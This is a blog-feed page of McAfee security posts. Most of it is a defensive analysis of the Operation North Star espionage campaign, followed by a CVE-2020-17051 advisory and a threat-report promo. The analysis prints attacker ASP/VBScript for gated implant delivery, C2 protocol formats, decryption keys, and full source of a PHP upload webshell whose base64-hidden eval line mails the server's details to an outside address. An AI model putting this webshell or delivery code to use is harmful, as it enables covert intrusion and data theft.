Normal view

There are new articles available, click to refresh the page.
Before yesterdayMcAfee Blogs

Operation North Star: Behind The Scenes

5 November 2020 at 16:00

Executive Summary

It is rare to be provided an inside view on how major cyber espionage campaigns are conducted within the digital realm. The only transparency afforded is a limited view of victims, a malware sample, and perhaps the IP addresses of historical command and control (C2) infrastructure.

The Operation North Star campaign we detailed earlier this year provided just this. This campaign used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, described the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.

However, that initial disclosure left gaps such as the existence of secondary payload, and additional insights into how the threat actors carried out their operations and who they targeted. The updated report takes a unique deep dive following our identification of previously undiscovered information into the backend infrastructure run by the adversaries.

These findings reveal a previously undiscovered secondary implant known as Torisma. However, more telling are the operational security measures that were undertaken to remain hidden on compromised systems. In particular, we saw the application of an Allow and Block list of victims to ensure the attacker’s secondary payload did not make its way to organizations that were not targeted. This tells us that certainly there has been a degree of technical innovation exhibited not only with the use of a template injection but also in the operations run by the adversary.

Finally, while we cannot confirm the extent of the success of the adversary’s attacks, our analysis of their C2 log files indicate that they launched attacks on IP-addresses belonging to internet service providers (ISPs) in Australia, Israel and Russia, and defense contractors based in Russia and India.

The findings within this report are intended to provide you, the reader, unique insights into the technology and tactics the adversary used to target and compromise systems across the globe.

Compromised Site

Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page.

  • hxxp://fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg
  • hxxps://fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
  • https://www.fabianiarte.com/include/action/inc-controller-news.asp

The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. Log files and copies appeared in the wild pertaining to the intrusion of this domain and provided further insight. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020.

Two DOTM files were discovered in this cache of logs and other intrusion data. These DOTM files belong to campaigns 510 and 511 based on the hard-coded value in the malicious VB scripts.

  • 22it-34165.jpg
  • 21it-23792.jpg

Developments in Anti-Analysis Techniques

During our analysis we uncovered two DOTM files as part of the cache of data pertaining to the backend. In analyzing first stage implants associated with the C2 server over a period of seven months, we found that there were further attempts by the adversary to obfuscate and confuse analysts.

Having appeared in July, these DOTM files contained first stage implants embedded in the same location as we documented in our initial research.  However, previous implants from other malicious DOTM files were double base64 encoded and the implants themselves were not further obfuscated. However, there were some notable changes in the method that differed from those detailed in our initial research:

  • The first stage implant that is nested in the DOTM file, is using triple base64 encoding in the Visual Basic Macro
  • The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult.

The first stage implant extracted from the DOTM files contains an encrypted configuration file and an intermediate dropper DLL. The configuration file, once decrypted, contains information for the first stage implant. The information includes the URL for the C2 and the decryption keys for the second stage payload called “Torisma”.

Contents of decrypted configuration

Because the configuration file contains information on how to communicate with the C2, it also stores the parameter options (ned, gl, hl). In this case, we see an unknown fourth parameter known as nl, however it does not appear to be implemented in the server-side ASP code. It is possible that the adversary may have intended to implement it in the future.

Appearance of nl parameter

In addition, analysis of the backend components for this compromised server enables us to draw a timeline of activity on how long the attacker had access. For example, the DOTM files mentioned above were placed on the compromised C2 server in July 2020. Some of the main malicious components involved in the backend operation were installed on this server in January 2020, indicating that this C2 server had been running for seven months.

Digging into the Heart of Operation North Star – Backend

Inc-Controller-News.ASP

As we covered in our initial Operation North Star research, the overall attack contained a first stage implant delivered by the DOTM files. That research found specific parameters used by the implant and that were sent to the C2 server.

Further analysis of the implant “wsdts.db” in our case, revealed that it gathers information of the victim’s system. For example:

  • Get system disks information
  • Get Free disk space information
  • Get Computer name and (logged in) Username
  • Process information

When this information is gathered, they will be communicated towards the C2 server using the parameters (ned, gl, hl).

These parameters are interpreted by an obfuscated server-side ASP page, based on the values sent will depend on the actions taken upon the victim. The server-side ASP page was placed on the compromised server January 2020.

Additionally, based on this information the adversary is targeting Windows servers running IIS to install C2 components.

The server-side ASP page contains a highly obfuscated VBScript embedded that, once decoded, reveals code designed to interact with the first stage implant. The ASP page is encoded with the VBScript.Encode method resulting in obfuscated VBScript code. The first stage implant interacts with the server-side ASP page through the usage of these finite parameters.

Encoded VBScript

Once the VBScript has been decoded it reveals a rather complex set of functions. These functions lead to installing additional stage implants on the victim’s system. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script.

Decoded VBScript

The ASP server-side script contains code to create a binary stream to where we suspect the Torisma implant is written. We also discovered that the Torisma implant is embedded in the ASP page and decoding the base64 blob reveals an AES encrypted payload. This ASP page contains evidence that indicates the existence of logic that decodes this implant and deliver it to the victim.

function getbinary(sdata)

const adtypetext = 2

const adtypebinary = 1

dim binarystream

dim aa

aa = “adodb.stream”

set binarystream = createobject(aa)

binarystream.type = adtypetext

binarystream.charset = “unicode”

binarystream.open

binarystream.writetext sdata

binarystream.position = 0

binarystream.type = adtypebinary

binarystream.position = 2

getbinary = binarystream.read

end function

Depending on the values sent, additional actions are performed on the targeted victim. Further analysis of the server-side script indicates that there is logic that depends on some mechanism for the actor to place a victim’s IP address in an allowed-list file. The second stage implant is not delivered to a victim unless this condition is met first. This alludes to the possibility that the actor is reviewing data on the backend and selecting victims, this is likely performed through another ASP page discovered (template-letter.asp).

The server-side ASP page contains code to interpret the data sent via the following parameters to execute additional code. The values to these parameters are sent by the first stage implant initially delivered by the DOTM files. These parameters were covered in our initial research, however having access to the C2 backend code reveals additional information about their true purpose.

Parameter Description
NED Campaign code embedded in DOTM Macro
GL System Information
HL Flag to indicate OS architecture (32 or 64 bits)

The URL query string is sent to the C2 server in the following format.

http://hostname/inc-controller-news.asp?ned=campaigncode&gl=base64encodeddata&hl=0

Further, code exists to get the infected victim’s IP address; this information is used to check if the IP address is allowed (get the second stage) or if the IP address has been blocked (prevent second stage). As mentioned previously, the addition of the victim’s IP address into the fake MP3 files is likely performed manually through identification of incoming connections through the stage 1 implant.

function getstripaddress()

on error resume next

dim ip

ip = request.servervariables(“http_client_ip”)

if ip = “”

then ip = request.servervariables(“http_x_forwarded_for”)

if ip = “”

then ip = request.servervariables(“remote_addr”)

end if end

if

getstripaddress = ip

end function

The full code of the logic gets the IP address for the connecting client machine and writing victim entries to a log file. In breaking down this code we can see different functionality is used that is most interesting. These log files are also stored within the WWW root of the compromised server based on the variable strlogpath.

From the below code-snippet of the vbscript, we can see that the “gl” and “hl” parameters are used to query the system information from the victim (gl) and the OS architecture (32 or 64 bits):

strinfo=replace(request.form(“gl “),””,” + “):strosbit=replace(request.form(“hl “),””,” + “)

Victim Logging

The adversary keeps track of victims through logging functionality that is implemented into the server-side ASP code. Furthermore, as described above, the backend server code has the ability to perform victim logging based on first stage implant connections. This log file is stored in the WWW root directory on the compromised C2 server. The following code snippet will write data to a log file in the format [date, IP Address, User Agent, Campaign Code (NED), System Info (GL), OS Architecture (HL)].

strlog = date() & “” & formatdatetime(now(), 4)

r = writeline(strlogpath, strlog)

r = writeline(strlogpath, stripaddr)

r = writeline(strlogpath, strua)

r = writeline(strlogpath, strcondition)

r = writeline(strlogpath, strinfo)

r = writeline(strlogpath, strosbit)

The server-side ASP code will check whether the IP address is part of an allow-list or block-list by checking for the presence of the IP in two server-side files masquerading as MP3 files. The IP address is stored in the format of an MD5 hash, contained within the server-side code as a function to create a MD5 hash. The code is looking for these files in the WWW root of the compromised server based on the variable strWorkDir.

Using an ‘allow-list’ is a possible indication that it contained the list of their pre-determined targets.

strWorkDir = “C:\”:strLogPath=strWorKdir&”lole3D_48_02_05.mp3″:StrWhiteFile=strWorkDir&”wole3D_48_02_05.mp3 “:strBlAcKFile=strWorkDir&”bole3D_48_02_05.mp3”:stripAddr=GeTStrIpAddress():strMD5IpAddr=MD5(strIpAddr):strUA=Request.serveRVariables(“HTTP_USER_AGENT “)

IP allow-list / blocklist checking

For MD5 hash generation, the system appears to be using a non-standard form of hashing for the IP addresses. In most cases, the built in Microsoft cryptographic service provider would be used to generate an MD5. In this case, however, the actor chose to use a custom method instead.

The IP address is retrieved and hashed using this method.

stripaddr=getstripaddress()

strmd5ipaddr=md5(stripaddr)

The following function (ipopk) is set to read from a file that stores hashed IPs and will be used later in a conditional block statement. The code below will open and read a file, if there is no data the flag for ipok will result in 0, if there is data then the resulting value will be 1.

function ipok(hashfile, stripaddr)

on error resume next

dim fso, fs, linedata

set fso = server.createobject(“scripting.filesystemobject”)

set fs = fso.opentextfile(hashfile, 1, true)

ipok = 0

do until fs.atendofstream

linedata = lcase(fs.readline)

if len(linedata) > 0 and instr(stripaddr, linedata) then ipok = 1

exit do

end if loop

fs.close

set fs = nothing

end function

The following code is the logic to determine if an infected victim should receive the Torisma implant. A series of cases are used to make the decision depending on specific conditions as depicted in the code. Below the cases are explained:

  • If the victim’s IP-address is on the allow-list, and the OS architecture bit value is “1” (resembling 64 bits), the Torisma 64 bits version implant will be sent to the victim and in the log file the term “case_1_64” is written behind the victim, meaning 64 bit version of the Torisma implant sent.
  • Same for the second case but now for a 32-bit version OS (value 0) and the term “case_1_86” is written, meaning 32-bit implant version of torisma sent.
  • If the ip-address of the victim is on the block list with either 32/64 bit OS architecture, a non-sense payload called “doris_x86” “doris_x64” will be sent to the victim. For example, in our case this was the value for “doris_x86”: DoriS_x86=”ddddddd”
  • If condition “24” is returned from the victim, a log entry is written with value “case_3” and no implant sent and an http response status of 405 is sent
  • If neither of the above conditions are met, “case_4” is written in the log-file, no implant sent and again an http response status of 405 is sent.

An http 405 response code indicates that the request method is known by the server but is not supported by the target resource.

if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_1_64 “) strresdata = strbase64_torisma_x64

 

else if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_1_86 “) strresdata = strbase64_torisma_x86

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_2_64 “) strresdata = strbase64_doris_x64

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_2_86 “) strresdata = strbase64_doris_x86

 

else if instr(strcondition, “24 “) > 0 then r = writeline(strlogpath, “case_3 “) response.status = “405”

else r = writeline(strlogpath, “case_4 “) response.status = “405 “end

Logic to deliver 2nd stage implant to victim

Inside the Torisma Implant

One of the primary objectives of Operation North Star from what we can tell is to install the Torisma implant on the targeted victim’s system based on a set of logic. Further, the end goal is executing custom shellcode post Torisma infection, thus running custom actions depending on the specific victim profiles. As described earlier, Torisma is delivered based on data sent from the victim to the command and control server. This process relies on the first stage implant extracted from VB macro embedded in the DOTM file.

General process flow and component relationship

Further, Torisma is a previously unknown 2nd stage implant embedded in the server-side ASP page as a base64 encoded blob. Embedded is a 64 and 32-bit version and depending on the OS architecture flag value sent by the victim and will determine what version is sent. Further this implant is loaded directly into memory as a result of interaction between the victim and the command and control server. The adversary went to great lengths to obfuscate, encrypt and pack the 1st and 2nd stage implants involved in this specific case.

Once Torisma is decoded from Base64 the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself, rather it relies on decryption logic contained within the first stage implant. The decryption key exists in an encrypted configuration file, along with the URL for the command and control server.

This makes recovery of the implant more difficult if the compromised server code were to be recovered by incident responders.

The decryption method is performed by the first stage implant using the decryption key stored in the configuration file, this key is a static32-bit AES key. Torisma can be decoded with a decryption key 78b81b8215f40706527ca830c34b23f7.

Further, after decrypting the Torisma binary, it is found to also be packed with lz4 compression giving it another layer of protection. Once decompressing the code, we are now able to analyze Torisma and its capabilities giving further insight into Operation North Star and the 2nd stage implant.

The variant of the implant we analyzed was created 7/2/2020; however, given that inc-controller-news.asp was placed on the C2 in early 2020, it indicates the possibility of multiple updates.

Based on the analysis, Torisma is sending and receiving information with the following URLs.

  • hxxps://www.fabianiarte.com/newsletter/arte/view.asp
  • hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
  • hxxp://scimpex.com:443/admin/assets/backup/requisition/requisition.php

Encrypted Configuration File

Torisma also uses encrypted configuration files just as with the 1st stage implant to indicate what URLs it communicates with as a command and control, etc.

Decrypted configuration file

The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2].

Further, the FOUND002.CHK file recovered from the backend is used to update the configuration and contains just URLs with .php extension. These URLs have pages with a .php extension, indicating that some of the backend may have been written in PHP. It’s unclear what the role of the servers with .PHP pages have in the overall attack. Though we can confirm based on strings and functions in Torisma that there is code designed to send and receive files with the page view.asp. This view.asp page is the Torisma implant backend from what our analysis shows here. Later in this analysis we cover more on view.asp, however that page contained basic functionality to handle requests, send and receive data with an infected victim that has the Torisma implant.

Main Functionality

According to our analysis, the Torisma code is a custom developed implant focused on specialized monitoring.

The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2.

The Torisma code begins by running a monitoring loop for information gathering.

Information gathering loop

General Process

It runs the monitoring routine but will first check if monitoring is enabled based on the configuration (disabled by default). The general logic of this process is as follows:

  1. If monitoring is disabled, just return
  2. Else call the code that does the monitoring and upon completion temporarily disable monitoring
  3. When run, the monitoring will be executed for a specified amount of time based on a configuration value
  4. Upon return of the monitoring function, the code will proceed to command and control communication
  5. If there is repeated failure in communication, the implant will force monitoring for 1hr and then retry the communication
  6. Repeat forever

Triggering monitoring based on configuration

Monitoring

The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo.

  1. The code will execute on a loop, until either enough time has elapsed (end time passed a parameter) or an event of interest occurred

 

Monitoring loop

  1. It will monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS). If either occur, a status code will be set (5. New drive, 6. New RDS session) and the monitoring loop stops.

Drive tracking

a. It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter

b. It will also use GetDriveType to make sure the new drive is not a CD-ROM drive

Check drive type

  1. It keeps track of the number of drives previously seen and will return 1 if the number has increased

RDP Session Tracking

The RDP session tracking function operates the same as the drive tracking. If the number increases by one it then returns 1. It uses WTSEnumerateSessionsW to get a list of sessions, iterates through them to count active ones.

Get active RDP sessions

Get active RDP sessions, continued

Command and Control Communication

The C2 code is interesting and is a custom implementation. The general process for this protocol is as follows.

  1. Generates a connection ID that will be kept throughout this step as a hex string of five random bytes for each module (0x63) and random seeded with the output of GetTickCount64

Generate connection ID

  1. Next it loads a destination URL
      a. There are three available servers hardcoded in the implant as an encrypted blob
    1. b. The decryption is done using a VEST-32 encryption algorithm with the hardcoded key ff7172d9c888b7a88a7d77372112d772

Configuration Decryption

c. A random configuration number is picked (mod 6) to select this configuration

d. There are only 3 configurations available, if the configuration number picked is above 3, it will keep incrementing (mod 6) until one is picked. Configuration 0 is more likely to be chosen because of this process.

Code to pick configurations

  1. It will send a POST request to the URL it retrieved from the configuration with a “VIEW” action. It builds a request using the following hardcoded format string.
post => ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d

=> PAGE=drive_count

CODE=RDS_session_count

CACHE=base64(blob)

Request=Rand()

 

blob: size 0x43c

blob[0x434:0x438] = status_code

blob[0x438:0x43c] = 1

blob[0:0x400] = form_url

blob[0x400:0x418] = mac_address

blob[0x418:0x424] = connection_id (random)

blob[0x424:0x434] = “MC0921” (UTF-16LE)

a. The process will be looking for the return of the string Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba} to indicate success

  1. If successful, it will retrieve data from the C2 via a POST request, this time it will use the PREVPAGE action

a. It uses the following format string for the POST request

ACTION=PREVPAGE&CODE=C%s&RES=%d

With: CODE = connection_id (from before)

RES = Rand()

b. The reply received from the server is encrypted it. To decrypt it the following process is needed

i. Replace space with +

ii. Base64 decode the result

iii. Decrypt the data with key “ff7172d9c888b7a88a7d77372112d772”

Server decryption using key

iv. Perform a XOR on the data

Perform XOR on the data

    1. The decrypted data is going to be used to execute a shellcode from the server and send data back

a. Data from the server will be split into a payload to execute and the data passed as an argument that is being passed to it
b. Part of the data blob sent from the server is used to update the local configuration used for monitoring

i. The first 8 bytes are fed to a add+xor loop to generate a transformed version that s compared to hardcoded values

Configuration check

Configuration check continued

ii. If the transformed data matched either of the two hardcoded values, the local configuration is updated

iii. In addition, the duration of the observation (for the Drive/RDS) loop can be updated by the server

iv. If the duration is above 0x7620 (21 days) it will then re-enable the monitoring even if the configuration detailed above had disabled it

v. If the transformed data doesn’t match any of the two hardcoded values, then monitoring will be disabled by the configuration

c. The implant will create a new communication thread and will wait until its notified to continue. It will then proceed to execute the shellcode and then wait for the other thread to terminate.

d. Depending on what occurred (an error occurred, or monitoring is enabled/disabled) the code will return a magic value that will decide if the code needs to run again or return to the monitoring process.

Return to communications loop

    1. The communications thread will create a new named pipe (intended to communicate with the shellcode). It the notifies the other thread once the pipe is ready and then proceed to send data read from the pipe to the server.

a. The pipe name is \\.\pipe\fb4d1181bb09b484d058768598b

Code for named pipe

b. It will read data from the pipe (and flag the processing as completed if it finds “- – – – – – – – -“

c. It will then send the data read back to the C2 by sending a POST in the following format

ACTION=NEXTPAGE

ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d

CODE=connection_id

CACHE=base64(message)

RES = Rand()

d. Data is encrypted following the same pattern as before, data is first XORED and then encrypted using VEST-32 with the same key as before

e. This will be repeated until the payload thread sends the “- – – – – – – – -“message or that the post failed

Campaign Identification

One way the adversary keeps track of what victims are infected by what version of the first stage implant is by using campaign IDs. These IDs are hard coded into the VB macro of the template document files that are retrieved by the first stage maldoc.

They are sent to the backend server through the NED parameter as covered earlier, further they are read and interpreted by the ASP code.

Victimology

According to the raw access logs for Inc-Controller-News.asp it is possible to understand what countries were impacted and it matches with the logs we discovered along another .asp page (view.asp), which we will explain later in the document.

Based on one of C2 log files we could identify the following about the victims:

  • Russian defense contractor
  • Two IP addresses in two Israeli ISP address spaces
  • IP addresses in Australian ISP space
  • IP address in Russian ISP address space
  • India-based defense contractor

Template-letter.asp

During our investigation we uncovered additional information that led to the discovery of additional ASP pages. One ASP page discovered on the same compromised command and control server contained interesting code. First this ASP page is encoded in the same method using VB.Encode as we observed with the code that delivers the Torisma implant. Second it appears that the code is part of the core backend managed by the attacker and had the original file name of board_list.asp. Based on in the wild submission data the file board_list.asp first appeared in Korea October 2017, this suggests that this code for this webshell has been in use since 2017.

Further, this ASP page is a custom webshell that according to our knowledge and sources is not an off-the-shelf common webshell, rather something specifically used in these attacks. Some of the actions include browsing files, executing commands, connecting to a database, etc. The attacker is presented with the login page and a default base64 encoded password of ‘venus’ can be used to login (this value is hardcoded in the source of this page).

Template-Letter.ASP main page

Functionality to execute commands

 VIEW.ASP -Torisma Backend

The View.ASP file is equally important as the inc-controller-news.asp file and contains interesting functionality. This ASP page is the backend code for the Torisma implant, and the functions are intended to interact with the infected victim.

The view.asp file contains the following references in the code:

The file “FOUND001.CHK” contains a “logfile” as the CONST value name possibly refers to “logvault”.

Analyzing the possible victims revealed an interesting list:

  • Russia-based defense contractor
  • Two IP addresses in two Israeli ISP address spaces
  • IP address in Russian ISP address space
  • India-based defense contractor

The file “FOUND002.CHK” contains a Base64 string that decodes to:

hxxps://www.krnetworkcloud.org/blog/js/view.php|www.krnetworkcloud.org|2|/blog/js/view.php|NT

The above domain was likely compromised to host malicious code, given it belongs to an Indian IT training company.

The Const value name for “FOUND002.CHK” is “cfgvault”, the first three letters might refer to “configuration”. This ASP code contains additional functions that may indicate what role this page has in the overall scheme of things. View.asp is the Torisma implant backend code with numerous functions implemented to handle requests from the implant as described earlier in this analysis. Based on our analysis of both the Torisma implant and this backend code, some interesting insight has been discovered.  First implemented in the ASP code are the general actions that can be taken by this backend depending on the interaction with Torisma.

Some of these actions are triggered by the implant connecting and the others may be invoked by another process. The main ASP page is implemented to handle incoming requests based on a request ACTION with several possible options to call. Given that the implant is driven by the “ACTION” method when it comes to the C2 communication, a number of these cases could be selected. However, we only see code implemented in Torisma to call and handle the request/response mechanism for NEXTPAGE and PREVPAGE, thus these other actions are likely performed by the adversary through some other process.

General actions by View.ASP

ViewPrevPage

As described in the analysis, the ViewPrevPage action is a function designed to handle incoming requests from Torisma to get data. The data sent to Torisma appears to be in the form of ~dmf files. This content for the ViewPrevPage action comes in the form of shellcode intended to be executed on the victim side according to the analysis of the implant itself.

ViewPrevPage function

ViewNextPage

Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function.

Implant sends data to C2

ViewGallery

There is no function in Torisma implemented to call this function directly, this is likely called from another administration tool, probably implemented in the upstream server. A static analysis of this method reveals that it is likely intended to retrieve log files in a base64 encoded format and write the response. Like the Torisma implant, there is a response string that is received by the calling component that indicates the log file had been retrieved successfully and that it should then delete the log file.

Retrieve and write log file content in base64 format (ViewGallery)

ViewMons

Another function also not used by Torisma is intended to set the local configuration file. It appears to use a different request method than ACTION; in this case it uses MAILTO. Based on insight gathered from Torisma, we can speculate this is related to configuration files that are used by the implant.

ViewMons function

SendData

This function is used in the RedirectToAdmin method exclusively and is the mechanism for sending data to the upstream C2. It depends on the GetConfig function that is based on the stored value in the cfgvault variable.

Send Data

RedirectToAdmin

This function is used to redirect information from an infected victim to the master server upstream. This is an interesting function indicating additional infrastructure beyond the immediate C2 with which we observed Torisma communicating.

RedirectToAdmin

WriteAgentLog

As part of the process of tracking victim’s with Torisma, the ASP code has a function to write log files. These resulting log files indicate success for the execution of shellcode on victims running Torisma. This logging method captures the user agent and IP address associated with the victim being monitored. This function is called when the information is sent to the master server via the RedirectToAdmin method.

Analysis of the server logs indicates the following countries made connections to the View.ASP page in July 2020.

  • India
  • Australia
  • Israel
  • Finland

Webshells

During our analysis we were able to determine that in some instances the attacker used webshells to maintain access. Discovered on another compromised server by the same actor with the same type of code was a PHP Webshell known as Viper 1337 Uploader. Based on our analysis this is a modified variant of Viper 1337 Uploader.

<title>Viper 1337 Uploader</title>

<?php

echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’;

echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’;

if( $_POST[‘_upl’] == “Upload” ) {

if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Shell Uploaded ! :)<b><br><br>’; }

else { echo ‘<b>Not uploaded ! </b><br><br>’; }

}

?>

<?php

eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw==’));

?>

Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection).

Attacker Source

According to our analysis the attacker accessed and posted a malicious ASP script “template-letter.asp” from the IP address 104.194.220.87 on 7/9/2020.  Further research indicates that the attacker is originating from a service known as VPN Consumer in New York, NY.

Snipped from log file showing attacker IP 104.194.220.87

From the same logfiles, we observed the following User Agent String:

“Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”

Decoding the User Agent string we can make the following statement

The attacker is using a 64bit Windows 10 platform and Office 2016.

The Office version is the same as we observed in the creation of the Word-documents as described in our document analysis part of Operation NorthStar.

Conclusion

It is not very often that we have a chance of getting the C2 server code pages and associated logging in our possession for analysis. Where we started with our initial analysis of the first stage payloads, layer after layer we were able to decode and reveal, resulting in unique insights into this campaign.

Analysis of logfiles uncovered potential targets of which we were unaware following our first analysis of Operation North Star, including internet service providers and defense contractors based in Russia and India.

Our analysis reveals a previously unknown second stage implant known as Torisma which executes a custom shellcode, depending on specific victim profiles, to run custom actions. It also illustrates how the adversary used compromised domains in Italy and elsewhere, belonging to random organizations such as an auction house and printing company, to collect data on victim organizations in multiple countries during an operation that lasted nearly a year.

This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring. Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.

Our findings ultimately provide a unique view into not only how the adversary executes his attacks but also how he evaluates and chooses to further exploit his victims.

Read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign.

Special thanks to Philippe Laulheret for his assistance in analysis

 

[1] https://www.ecrypt.eu.org/stream/p2ciphers/vest/vest_p2.pdf

[2] https://www.ecrypt.eu.org/stream/vestp2.html

The post Operation North Star: Behind The Scenes appeared first on McAfee Blog.

McAfee Labs Report Reveals Continuing Surge of COVID-19 Threats and Malware

5 November 2020 at 16:00

The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: November 2020.

In this edition, we follow our preceding McAfee Labs COVID-19 Threats Report with more research and data designed to help you better protect your enterprise’s productivity and viability during challenging times.

What a year so far! The first quarter of 2020 included a rush of malicious actors leveraging COVID-19, and the trend only increased in the second quarter. For example, McAfee’s global network of more than a billion sensors registered a 605% increase in total Q2 COVID-19-themed threat detections. It’s an example of updated pandemic-related threats you can track on our McAfee COVID-19 Threats Dashboard.

This edition of our threat report also looks at other notable Q2 20 malware increases including:

  • Attacks on cloud services users reached nearly 7.5 million
  • New malware samples grew 11.5%, averaging 419 new threats per minute
  • PowerShell malware surged 117%

To help ensure your data and systems remain secure, we have also made available the MVISION Insights preview dashboard to demonstrate the prevalence of such current campaigns. This dashboard also provides access to the Yara rules, IoCs, and mapping of such campaigns against the MITRE ATT&CK Framework. We update these campaigns on a weekly basis so, in essence, this threat report has an accompanying dashboard with more detail on specific campaigns.

I certainly hope that you see the value not only in the data presented within the threats report, but also with the dashboards. Your feedback is important to us.

Stay safe.

 

McAfee Labs Quarterly Threat Report – November 2020

What a year so far! We exited the first quarter of 2020 battling the rush of malicious actors leveraging COVID-19, and in the second quarter there are no signs that these attacks seem to be abating.

Download Now

 

The post McAfee Labs Report Reveals Continuing Surge of COVID-19 Threats and Malware appeared first on McAfee Blog.

CVE-2020-17051: Remote kernel heap overflow in NFSv3 Windows Server

10 November 2020 at 18:29

CVSS Score: 9.8 

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C 

Overview 

Microsoft released a patch today for a critical vulnerability (CVE-2020-17051) in the Windows NFSv3 (Network File System) server. NFS is typically used in heterogenous environments of Windows and Unix/Linux for file sharing. The vulnerability can be reproduced to cause an immediate BSOD (Blue Screen of Death) within the nfssvr.sys driver. Interestingly, the November patches from Microsoft also include a remote kernel data read vulnerability in the same nfssvr.sys driver (CVE-2020-17056), which leads to a potential ASLR (address space layout randomizationbypass. The combination of these two vulnerabilities dramatically increases the likelihood of a remote exploit when used on Windows Server to bypass exploit mitigations.  CVE-2020-17051 is the first known vulnerability which has been disclosed within the Windows implementation of the NFSv3 protocol to the best of our knowledge.  

Threat Surface 

The vulnerability is believed to impact all versions of Windows Server when: 

  1. An authenticated user has write access to any NFS share. 
  2. An NFS share has been configured with anonymous write access (no authentication required) 

A Shodan query reported 38,893 servers with port 2049 exposed to the internet; however, it is unknown what percentage of these servers are actually NFS shares and actuallconfigured with anonymous write access. The network share discovery technique is typically used by an adversary within the discovery phase of the MITRE ATT&CK framework with the objective to gain further privileges. CVE-2020-17051 would give adversaries the ability to spread wormlike within heterogenous Windows and Unix/Linux environments using anonymous write access file shares over NFSv3. 

Mitigation 

Patching is always the first and most effective course of action. If it’s not possible to patch, the best mitigation is to limit Windows NFSv3 server share write access internally and block any external access to vulnerable servers. For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of this vulnerability. 

NSP Attack ID: 0x40c01200 – NFS Microsoft Windows Network File System Remote Code Execution Vulnerability (CVE-2020-17051) 

The post CVE-2020-17051: Remote kernel heap overflow in NFSv3 Windows Server appeared first on McAfee Blog.

SUNBURST Malware and SolarWinds Supply Chain Compromise

16 December 2020 at 16:48

Part I of II

Situation

